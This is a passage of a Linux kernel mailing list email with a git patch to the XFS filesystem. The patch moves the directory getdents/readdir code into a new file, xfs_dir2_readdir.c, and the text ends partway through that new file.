xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A53DE7FBE for ; Fri, 19 Jul 2013 01:25:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 95AEA8F8033 for ; Thu, 18 Jul 2013 23:25:57 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 92RacQTdbp6NejRh for ; Thu, 18 Jul 2013 23:25:54 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUaAQwvMwgYMTkDGxmID7YvjnKFIAOpKoMkKoEsJA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:43 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048B-QI for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xp-Ov for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 15/49] xfs: move getdents code into it's own file Date: Fri, 19 Jul 2013 16:24:46 +1000 X-ASG-Orig-Subj: [PATCH 15/49] xfs: move getdents code into it's own file Message-Id: <1374215120-7271-16-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215153 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The directory readdir code isno used by userspace, but it is intermingled with files that are shared with userspace. This makes it difficult to compare the differences between the userspac eand kernel files are the userspace files don't have the getdents code in them. Move all the kernel getdents code to a separate file to bring the shared content between userspace and kernel files closer together. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_dir2.c | 31 --- fs/xfs/xfs_dir2_block.c | 97 +------ fs/xfs/xfs_dir2_leaf.c | 390 ---------------------------- fs/xfs/xfs_dir2_priv.h | 7 +- fs/xfs/xfs_dir2_readdir.c | 646 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_dir2_sf.c | 94 ------- 7 files changed, 650 insertions(+), 616 deletions(-) create mode 100644 fs/xfs/xfs_dir2_readdir.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 7f2319d..b6158af 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -30,6 +30,7 @@ xfs-y += xfs_aops.o \ xfs_bit.o \ xfs_buf.o \ xfs_dfrag.o \ + xfs_dir2_readdir.o \ xfs_discard.o \ xfs_error.o \ xfs_export.o \ diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 8f023de..431be44 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -363,37 +363,6 @@ xfs_dir_removename( } /* - * Read a directory. - */ -int -xfs_readdir( - xfs_inode_t *dp, - struct dir_context *ctx, - size_t bufsize) -{ - int rval; /* return value */ - int v; /* type-checking value */ - - trace_xfs_readdir(dp); - - if (XFS_FORCED_SHUTDOWN(dp->i_mount)) - return XFS_ERROR(EIO); - - ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_getdents); - - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_getdents(dp, ctx); - else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) - ; - else if (v) - rval = xfs_dir2_block_getdents(dp, ctx); - else - rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); - return rval; -} - -/* * Replace the inode number of a directory entry. */ int diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 5e7fbd7..5e84000 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -126,7 +126,7 @@ const struct xfs_buf_ops xfs_dir3_block_buf_ops = { .verify_write = xfs_dir3_block_write_verify, }; -static int +int xfs_dir3_block_read( struct xfs_trans *tp, struct xfs_inode *dp, @@ -565,101 +565,6 @@ xfs_dir2_block_addname( } /* - * Readdir for block directories. - */ -int /* error */ -xfs_dir2_block_getdents( - xfs_inode_t *dp, /* incore inode */ - struct dir_context *ctx) -{ - xfs_dir2_data_hdr_t *hdr; /* block header */ - struct xfs_buf *bp; /* buffer for block */ - xfs_dir2_block_tail_t *btp; /* block tail */ - xfs_dir2_data_entry_t *dep; /* block data entry */ - xfs_dir2_data_unused_t *dup; /* block unused entry */ - char *endptr; /* end of the data entries */ - int error; /* error return value */ - xfs_mount_t *mp; /* filesystem mount point */ - char *ptr; /* current data entry */ - int wantoff; /* starting block offset */ - xfs_off_t cook; - - mp = dp->i_mount; - /* - * If the block number in the offset is out of range, we're done. - */ - if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) - return 0; - - error = xfs_dir3_block_read(NULL, dp, &bp); - if (error) - return error; - - /* - * Extract the byte offset we start at from the seek pointer. - * We'll skip entries before this. - */ - wantoff = xfs_dir2_dataptr_to_off(mp, ctx->pos); - hdr = bp->b_addr; - xfs_dir3_data_check(dp, bp); - /* - * Set up values for the loop. - */ - btp = xfs_dir2_block_tail_p(mp, hdr); - ptr = (char *)xfs_dir3_data_entry_p(hdr); - endptr = (char *)xfs_dir2_block_leaf_p(btp); - - /* - * Loop over the data portion of the block. - * Each object is a real entry (dep) or an unused one (dup). - */ - while (ptr < endptr) { - dup = (xfs_dir2_data_unused_t *)ptr; - /* - * Unused, skip it. - */ - if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { - ptr += be16_to_cpu(dup->length); - continue; - } - - dep = (xfs_dir2_data_entry_t *)ptr; - - /* - * Bump pointer for the next iteration. - */ - ptr += xfs_dir2_data_entsize(dep->namelen); - /* - * The entry is before the desired starting point, skip it. - */ - if ((char *)dep - (char *)hdr < wantoff) - continue; - - cook = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - (char *)dep - (char *)hdr); - - ctx->pos = cook & 0x7fffffff; - /* - * If it didn't fit, set the final offset to here & return. - */ - if (!dir_emit(ctx, (char *)dep->name, dep->namelen, - be64_to_cpu(dep->inumber), DT_UNKNOWN)) { - xfs_trans_brelse(NULL, bp); - return 0; - } - } - - /* - * Reached the end of the block. - * Set the offset to a non-existent block 1 and return. - */ - ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & - 0x7fffffff; - xfs_trans_brelse(NULL, bp); - return 0; -} - -/* * Log leaf entries from the block. */ static void diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 2aed25c..e1386aa 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1083,396 +1083,6 @@ xfs_dir3_leaf_compact_x1( *highstalep = highstale; } -struct xfs_dir2_leaf_map_info { - xfs_extlen_t map_blocks; /* number of fsbs in map */ - xfs_dablk_t map_off; /* last mapped file offset */ - int map_size; /* total entries in *map */ - int map_valid; /* valid entries in *map */ - int nmap; /* mappings to ask xfs_bmapi */ - xfs_dir2_db_t curdb; /* db for current block */ - int ra_current; /* number of read-ahead blks */ - int ra_index; /* *map index for read-ahead */ - int ra_offset; /* map entry offset for ra */ - int ra_want; /* readahead count wanted */ - struct xfs_bmbt_irec map[]; /* map vector for blocks */ -}; - -STATIC int -xfs_dir2_leaf_readbuf( - struct xfs_inode *dp, - size_t bufsize, - struct xfs_dir2_leaf_map_info *mip, - xfs_dir2_off_t *curoff, - struct xfs_buf **bpp) -{ - struct xfs_mount *mp = dp->i_mount; - struct xfs_buf *bp = *bpp; - struct xfs_bmbt_irec *map = mip->map; - struct blk_plug plug; - int error = 0; - int length; - int i; - int j; - - /* - * If we have a buffer, we need to release it and - * take it out of the mapping. - */ - - if (bp) { - xfs_trans_brelse(NULL, bp); - bp = NULL; - mip->map_blocks -= mp->m_dirblkfsbs; - /* - * Loop to get rid of the extents for the - * directory block. - */ - for (i = mp->m_dirblkfsbs; i > 0; ) { - j = min_t(int, map->br_blockcount, i); - map->br_blockcount -= j; - map->br_startblock += j; - map->br_startoff += j; - /* - * If mapping is done, pitch it from - * the table. - */ - if (!map->br_blockcount && --mip->map_valid) - memmove(&map[0], &map[1], - sizeof(map[0]) * mip->map_valid); - i -= j; - } - } - - /* - * Recalculate the readahead blocks wanted. - */ - mip->ra_want = howmany(bufsize + mp->m_dirblksize, - mp->m_sb.sb_blocksize) - 1; - ASSERT(mip->ra_want >= 0); - - /* - * If we don't have as many as we want, and we haven't - * run out of data blocks, get some more mappings. - */ - if (1 + mip->ra_want > mip->map_blocks && - mip->map_off < xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET)) { - /* - * Get more bmaps, fill in after the ones - * we already have in the table. - */ - mip->nmap = mip->map_size - mip->map_valid; - error = xfs_bmapi_read(dp, mip->map_off, - xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET) - - mip->map_off, - &map[mip->map_valid], &mip->nmap, 0); - - /* - * Don't know if we should ignore this or try to return an - * error. The trouble with returning errors is that readdir - * will just stop without actually passing the error through. - */ - if (error) - goto out; /* XXX */ - - /* - * If we got all the mappings we asked for, set the final map - * offset based on the last bmap value received. Otherwise, - * we've reached the end. - */ - if (mip->nmap == mip->map_size - mip->map_valid) { - i = mip->map_valid + mip->nmap - 1; - mip->map_off = map[i].br_startoff + map[i].br_blockcount; - } else - mip->map_off = xfs_dir2_byte_to_da(mp, - XFS_DIR2_LEAF_OFFSET); - - /* - * Look for holes in the mapping, and eliminate them. Count up - * the valid blocks. - */ - for (i = mip->map_valid; i < mip->map_valid + mip->nmap; ) { - if (map[i].br_startblock == HOLESTARTBLOCK) { - mip->nmap--; - length = mip->map_valid + mip->nmap - i; - if (length) - memmove(&map[i], &map[i + 1], - sizeof(map[i]) * length); - } else { - mip->map_blocks += map[i].br_blockcount; - i++; - } - } - mip->map_valid += mip->nmap; - } - - /* - * No valid mappings, so no more data blocks. - */ - if (!mip->map_valid) { - *curoff = xfs_dir2_da_to_byte(mp, mip->map_off); - goto out; - } - - /* - * Read the directory block starting at the first mapping. - */ - mip->curdb = xfs_dir2_da_to_db(mp, map->br_startoff); - error = xfs_dir3_data_read(NULL, dp, map->br_startoff, - map->br_blockcount >= mp->m_dirblkfsbs ? - XFS_FSB_TO_DADDR(mp, map->br_startblock) : -1, &bp); - - /* - * Should just skip over the data block instead of giving up. - */ - if (error) - goto out; /* XXX */ - - /* - * Adjust the current amount of read-ahead: we just read a block that - * was previously ra. - */ - if (mip->ra_current) - mip->ra_current -= mp->m_dirblkfsbs; - - /* - * Do we need more readahead? - */ - blk_start_plug(&plug); - for (mip->ra_index = mip->ra_offset = i = 0; - mip->ra_want > mip->ra_current && i < mip->map_blocks; - i += mp->m_dirblkfsbs) { - ASSERT(mip->ra_index < mip->map_valid); - /* - * Read-ahead a contiguous directory block. - */ - if (i > mip->ra_current && - map[mip->ra_index].br_blockcount >= mp->m_dirblkfsbs) { - xfs_dir3_data_readahead(NULL, dp, - map[mip->ra_index].br_startoff + mip->ra_offset, - XFS_FSB_TO_DADDR(mp, - map[mip->ra_index].br_startblock + - mip->ra_offset)); - mip->ra_current = i; - } - - /* - * Read-ahead a non-contiguous directory block. This doesn't - * use our mapping, but this is a very rare case. - */ - else if (i > mip->ra_current) { - xfs_dir3_data_readahead(NULL, dp, - map[mip->ra_index].br_startoff + - mip->ra_offset, -1); - mip->ra_current = i; - } - - /* - * Advance offset through the mapping table. - */ - for (j = 0; j < mp->m_dirblkfsbs; j++) { - /* - * The rest of this extent but not more than a dir - * block. - */ - length = min_t(int, mp->m_dirblkfsbs, - map[mip->ra_index].br_blockcount - - mip->ra_offset); - j += length; - mip->ra_offset += length; - - /* - * Advance to the next mapping if this one is used up. - */ - if (mip->ra_offset == map[mip->ra_index].br_blockcount) { - mip->ra_offset = 0; - mip->ra_index++; - } - } - } - blk_finish_plug(&plug); - -out: - *bpp = bp; - return error; -} - -/* - * Getdents (readdir) for leaf and node directories. - * This reads the data blocks only, so is the same for both forms. - */ -int /* error */ -xfs_dir2_leaf_getdents( - xfs_inode_t *dp, /* incore directory inode */ - struct dir_context *ctx, - size_t bufsize) -{ - struct xfs_buf *bp = NULL; /* data block buffer */ - xfs_dir2_data_hdr_t *hdr; /* data block header */ - xfs_dir2_data_entry_t *dep; /* data entry */ - xfs_dir2_data_unused_t *dup; /* unused entry */ - int error = 0; /* error return value */ - int length; /* temporary length value */ - xfs_mount_t *mp; /* filesystem mount point */ - int byteoff; /* offset in current block */ - xfs_dir2_off_t curoff; /* current overall offset */ - xfs_dir2_off_t newoff; /* new curoff after new blk */ - char *ptr = NULL; /* pointer to current data */ - struct xfs_dir2_leaf_map_info *map_info; - - /* - * If the offset is at or past the largest allowed value, - * give up right away. - */ - if (ctx->pos >= XFS_DIR2_MAX_DATAPTR) - return 0; - - mp = dp->i_mount; - - /* - * Set up to bmap a number of blocks based on the caller's - * buffer size, the directory block size, and the filesystem - * block size. - */ - length = howmany(bufsize + mp->m_dirblksize, - mp->m_sb.sb_blocksize); - map_info = kmem_zalloc(offsetof(struct xfs_dir2_leaf_map_info, map) + - (length * sizeof(struct xfs_bmbt_irec)), - KM_SLEEP | KM_NOFS); - map_info->map_size = length; - - /* - * Inside the loop we keep the main offset value as a byte offset - * in the directory file. - */ - curoff = xfs_dir2_dataptr_to_byte(mp, ctx->pos); - - /* - * Force this conversion through db so we truncate the offset - * down to get the start of the data block. - */ - map_info->map_off = xfs_dir2_db_to_da(mp, - xfs_dir2_byte_to_db(mp, curoff)); - - /* - * Loop over directory entries until we reach the end offset. - * Get more blocks and readahead as necessary. - */ - while (curoff < XFS_DIR2_LEAF_OFFSET) { - /* - * If we have no buffer, or we're off the end of the - * current buffer, need to get another one. - */ - if (!bp || ptr >= (char *)bp->b_addr + mp->m_dirblksize) { - - error = xfs_dir2_leaf_readbuf(dp, bufsize, map_info, - &curoff, &bp); - if (error || !map_info->map_valid) - break; - - /* - * Having done a read, we need to set a new offset. - */ - newoff = xfs_dir2_db_off_to_byte(mp, map_info->curdb, 0); - /* - * Start of the current block. - */ - if (curoff < newoff) - curoff = newoff; - /* - * Make sure we're in the right block. - */ - else if (curoff > newoff) - ASSERT(xfs_dir2_byte_to_db(mp, curoff) == - map_info->curdb); - hdr = bp->b_addr; - xfs_dir3_data_check(dp, bp); - /* - * Find our position in the block. - */ - ptr = (char *)xfs_dir3_data_entry_p(hdr); - byteoff = xfs_dir2_byte_to_off(mp, curoff); - /* - * Skip past the header. - */ - if (byteoff == 0) - curoff += xfs_dir3_data_entry_offset(hdr); - /* - * Skip past entries until we reach our offset. - */ - else { - while ((char *)ptr - (char *)hdr < byteoff) { - dup = (xfs_dir2_data_unused_t *)ptr; - - if (be16_to_cpu(dup->freetag) - == XFS_DIR2_DATA_FREE_TAG) { - - length = be16_to_cpu(dup->length); - ptr += length; - continue; - } - dep = (xfs_dir2_data_entry_t *)ptr; - length = - xfs_dir2_data_entsize(dep->namelen); - ptr += length; - } - /* - * Now set our real offset. - */ - curoff = - xfs_dir2_db_off_to_byte(mp, - xfs_dir2_byte_to_db(mp, curoff), - (char *)ptr - (char *)hdr); - if (ptr >= (char *)hdr + mp->m_dirblksize) { - continue; - } - } - } - /* - * We have a pointer to an entry. - * Is it a live one? - */ - dup = (xfs_dir2_data_unused_t *)ptr; - /* - * No, it's unused, skip over it. - */ - if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { - length = be16_to_cpu(dup->length); - ptr += length; - curoff += length; - continue; - } - - dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir2_data_entsize(dep->namelen); - - ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; - if (!dir_emit(ctx, (char *)dep->name, dep->namelen, - be64_to_cpu(dep->inumber), DT_UNKNOWN)) - break; - - /* - * Advance to next entry in the block. - */ - ptr += length; - curoff += length; - /* bufsize may have just been a guess; don't go negative */ - bufsize = bufsize > length ? bufsize - length : 0; - } - - /* - * All done. Set output offset value to current offset. - */ - if (curoff > xfs_dir2_dataptr_to_byte(mp, XFS_DIR2_MAX_DATAPTR)) - ctx->pos = XFS_DIR2_MAX_DATAPTR & 0x7fffffff; - else - ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; - kmem_free(map_info); - if (bp) - xfs_trans_brelse(NULL, bp); - return error; -} - - /* * Log the bests entries indicated from a leaf1 block. */ diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 0511cda..72ff8d7 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -32,9 +32,9 @@ extern int xfs_dir_cilookup_result(struct xfs_da_args *args, /* xfs_dir2_block.c */ extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; +extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf **bpp); extern int xfs_dir2_block_addname(struct xfs_da_args *args); -extern int xfs_dir2_block_getdents(struct xfs_inode *dp, - struct dir_context *ctx); extern int xfs_dir2_block_lookup(struct xfs_da_args *args); extern int xfs_dir2_block_removename(struct xfs_da_args *args); extern int xfs_dir2_block_replace(struct xfs_da_args *args); @@ -91,8 +91,6 @@ extern void xfs_dir3_leaf_compact(struct xfs_da_args *args, extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, struct xfs_dir2_leaf_entry *ents, int *indexp, int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); -extern int xfs_dir2_leaf_getdents(struct xfs_inode *dp, struct dir_context *ctx, - size_t bufsize); extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, struct xfs_buf **bpp, __uint16_t magic); extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, @@ -153,7 +151,6 @@ extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, int size, xfs_dir2_sf_hdr_t *sfhp); extern int xfs_dir2_sf_addname(struct xfs_da_args *args); extern int xfs_dir2_sf_create(struct xfs_da_args *args, xfs_ino_t pino); -extern int xfs_dir2_sf_getdents(struct xfs_inode *dp, struct dir_context *ctx); extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); extern int xfs_dir2_sf_removename(struct xfs_da_args *args); extern int xfs_dir2_sf_replace(struct xfs_da_args *args); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c new file mode 100644 index 0000000..fd3829a --- /dev/null +++ b/fs/xfs/xfs_dir2_readdir.c @@ -0,0 +1,646 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_types.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2_priv.h" +#include "xfs_error.h" +#include "xfs_trace.h" +#include "xfs_bmap.h" + +STATIC int +xfs_dir2_sf_getdents( + xfs_inode_t *dp, /* incore directory inode */ + struct dir_context *ctx) +{ + int i; /* shortform entry number */ + xfs_mount_t *mp; /* filesystem mount point */ + xfs_dir2_dataptr_t off; /* current entry's offset */ + xfs_dir2_sf_entry_t *sfep; /* shortform directory entry */ + xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ + xfs_dir2_dataptr_t dot_offset; + xfs_dir2_dataptr_t dotdot_offset; + xfs_ino_t ino; + + mp = dp->i_mount; + + ASSERT(dp->i_df.if_flags & XFS_IFINLINE); + /* + * Give up if the directory is way too short. + */ + if (dp->i_d.di_size < offsetof(xfs_dir2_sf_hdr_t, parent)) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + return XFS_ERROR(EIO); + } + + ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); + ASSERT(dp->i_df.if_u1.if_data != NULL); + + sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; + + ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(sfp->i8count)); + + /* + * If the block number in the offset is out of range, we're done. + */ + if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) + return 0; + + /* + * Precalculate offsets for . and .. as we will always need them. + * + * XXX(hch): the second argument is sometimes 0 and sometimes + * mp->m_dirdatablk. + */ + dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, + XFS_DIR3_DATA_DOT_OFFSET(mp)); + dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, + XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); + + /* + * Put . entry unless we're starting past it. + */ + if (ctx->pos <= dot_offset) { + ctx->pos = dot_offset & 0x7fffffff; + if (!dir_emit(ctx, ".", 1, dp->i_ino, DT_DIR)) + return 0; + } + + /* + * Put .. entry unless we're starting past it. + */ + if (ctx->pos <= dotdot_offset) { + ino = xfs_dir2_sf_get_parent_ino(sfp); + ctx->pos = dotdot_offset & 0x7fffffff; + if (!dir_emit(ctx, "..", 2, ino, DT_DIR)) + return 0; + } + + /* + * Loop while there are more entries and put'ing works. + */ + sfep = xfs_dir2_sf_firstentry(sfp); + for (i = 0; i < sfp->count; i++) { + off = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, + xfs_dir2_sf_get_offset(sfep)); + + if (ctx->pos > off) { + sfep = xfs_dir2_sf_nextentry(sfp, sfep); + continue; + } + + ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ctx->pos = off & 0x7fffffff; + if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, + ino, DT_UNKNOWN)) + return 0; + sfep = xfs_dir2_sf_nextentry(sfp, sfep); + } + + ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & + 0x7fffffff; + return 0; +} + +/* + * Readdir for block directories. + */ +STATIC int +xfs_dir2_block_getdents( + xfs_inode_t *dp, /* incore inode */ + struct dir_context *ctx) +{ + xfs_dir2_data_hdr_t *hdr; /* block header */ + struct xfs_buf *bp; /* buffer for block */ + xfs_dir2_block_tail_t *btp; /* block tail */ + xfs_dir2_data_entry_t *dep; /* block data entry */ + xfs_dir2_data_unused_t *dup; /* block unused entry */ + char *endptr; /* end of the data entries */ + int error; /* error return value */ + xfs_mount_t *mp; /* filesystem mount point */ + char *ptr; /* current data entry */ + int wantoff; /* starting block offset */ + xfs_off_t cook; + + mp = dp->i_mount; + /* + * If the block number in the offset is out of range, we're done. + */ + if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) + return 0; + + error = xfs_dir3_block_read(NULL, dp, &bp); + if (error) + return error; + + /* + * Extract the byte offset we start at from the seek pointer. + * We'll skip entries before this. + */ + wantoff = xfs_dir2_dataptr_to_off(mp, ctx->pos); + hdr = bp->b_addr; + xfs_dir3_data_check(dp, bp); + /* + * Set up values for the loop. + */ + btp = xfs_dir2_block_tail_p(mp, hdr); + ptr = (char *)xfs_dir3_data_entry_p(hdr); + endptr = (char *)xfs_dir2_block_leaf_p(btp); + + /* + * Loop over the data portion of the block. + * Each object is a real entry (dep) or an unused one (dup). + */ + while (ptr < endptr) { + dup = (xfs_dir2_data_unused_t *)ptr; + /* + * Unused, skip it. + */ + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { + ptr += be16_to_cpu(dup->length); + continue; + } + + dep = (xfs_dir2_data_entry_t *)ptr; + + /* + * Bump pointer for the next iteration. + */ + ptr += xfs_dir2_data_entsize(dep->namelen); + /* + * The entry is before the desired starting point, skip it. + */ + if ((char *)dep - (char *)hdr < wantoff) + continue; + + cook = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, + (char *)dep - (char *)hdr); + + ctx->pos = cook & 0x7fffffff; + /* + * If it didn't fit, set the final offset to here & return. + */ + if (!dir_emit(ctx, (char *)dep->name, dep->namelen, + be64_to_cpu(dep->inumber), DT_UNKNOWN)) { + xfs_trans_brelse(NULL, bp); + return 0; + } + } + + /* + * Reached the end of the block. + * Set the offset to a non-existent block 1 and return. + */ + ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & + 0x7fffffff; + xfs_trans_brelse(NULL, bp); + return 0; +} + +struct xfs_dir2_leaf_map_info { + xfs_extlen_t map_blocks; /* number of fsbs in map */ + xfs_dablk_t map_off; /* last mapped file offset */ + int map_size; /* total entries in *map */ + int map_valid; /* valid entries in *map */ + int nmap; /* mappings to ask xfs_bmapi */ + xfs_dir2_db_t curdb; /* db for current block */ + int ra_current; /* number of read-ahead blks */ + int ra_index; /* *map index for read-ahead */ + int ra_offset; /* map entry offset for ra */ + int ra_want; /* readahead count wanted */ + struct xfs_bmbt_irec map[]; /* map vector for blocks */ +}; + +STATIC int +xfs_dir2_leaf_readbuf( + struct xfs_inode *dp, + size_t bufsize, + struct xfs_dir2_leaf_map_info *mip, + xfs_dir2_off_t *curoff, + struct xfs_buf **bpp) +{ + struct xfs_mount *mp = dp->i_mount; + struct xfs_buf *bp = *bpp; + struct xfs_bmbt_irec *map = mip->map; + struct blk_plug plug; + int error = 0; + int length; + int i; + int j; + + /* + * If we have a buffer, we need to release it and + * take it out of the mapping. + */ + + if (bp) { + xfs_trans_brelse(NULL, bp); + bp = NULL; + mip->map_blocks -= mp->m_dirblkfsbs; + /* + * Loop to get rid of the extents for the + * directory block. + */ + for (i = mp->m_dirblkfsbs; i > 0; ) { + j = min_t(int, map->br_blockcount, i); + map->br_blockcount -= j; + map->br_startblock += j; + map->br_startoff += j; + /* + * If mapping is done, pitch it from + * the table. + */ + if (!map->br_blockcount && --mip->map_valid) + memmove(&map[0], &map[1], + sizeof(map[0]) * mip->map_valid); + i -= j; + } + } + + /* + * Recalculate the readahead blocks wanted. + */ + mip->ra_want = howmany(bufsize + mp->m_dirblksize, + mp->m_sb.sb_blocksize) - 1; + ASSERT(mip->ra_want >= 0); + + /* + * If we don't have as many as we want, and we haven't + * run out of data blocks, get some more mappings. + */ + if (1 + mip->ra_want > mip->map_blocks && + mip->map_off < xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET)) { + /* + * Get more bmaps, fill in after the ones + * we already have in the table. + */ + mip->nmap = mip->map_size - mip->map_valid; + error = xfs_bmapi_read(dp, mip->map_off, + xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET) - + mip->map_off, + &map[mip->map_valid], &mip->nmap, 0); + + /* + * Don't know if we should ignore this or try to return an + * error. The trouble with returning errors is that readdir + * will just stop without actually passing the error through. + */ + if (error) + goto out; /* XXX */ + + /* + * If we got all the mappings we asked for, set the final map + * offset based on the last bmap value received. Otherwise, + * we've reached the end. + */ + if (mip->nmap == mip->map_size - mip->map_valid) { + i = mip->map_valid + mip->nmap - 1; + mip->map_off = map[i].br_startoff + map[i].br_blockcount; + } else + mip->map_off = xfs_dir2_byte_to_da(mp, + XFS_DIR2_LEAF_OFFSET); + + /* + * Look for holes in the mapping, and eliminate them. Count up + * the valid blocks. + */ + for (i = mip->map_valid; i < mip->map_valid + mip->nmap; ) { + if (map[i].br_startblock == HOLESTARTBLOCK) { + mip->nmap--; + length = mip->map_valid + mip->nmap - i; + if (length) + memmove(&map[i], &map[i + 1], + sizeof(map[i]) * length); + } else { + mip->map_blocks += map[i].br_blockcount; + i++; + } + } + mip->map_valid += mip->nmap; + } + + /* + * No valid mappings, so no more data blocks. + */ + if (!mip->map_valid) { + *curoff = xfs_dir2_da_to_byte(mp, mip->map_off); + goto out; + } + + /* + * Read 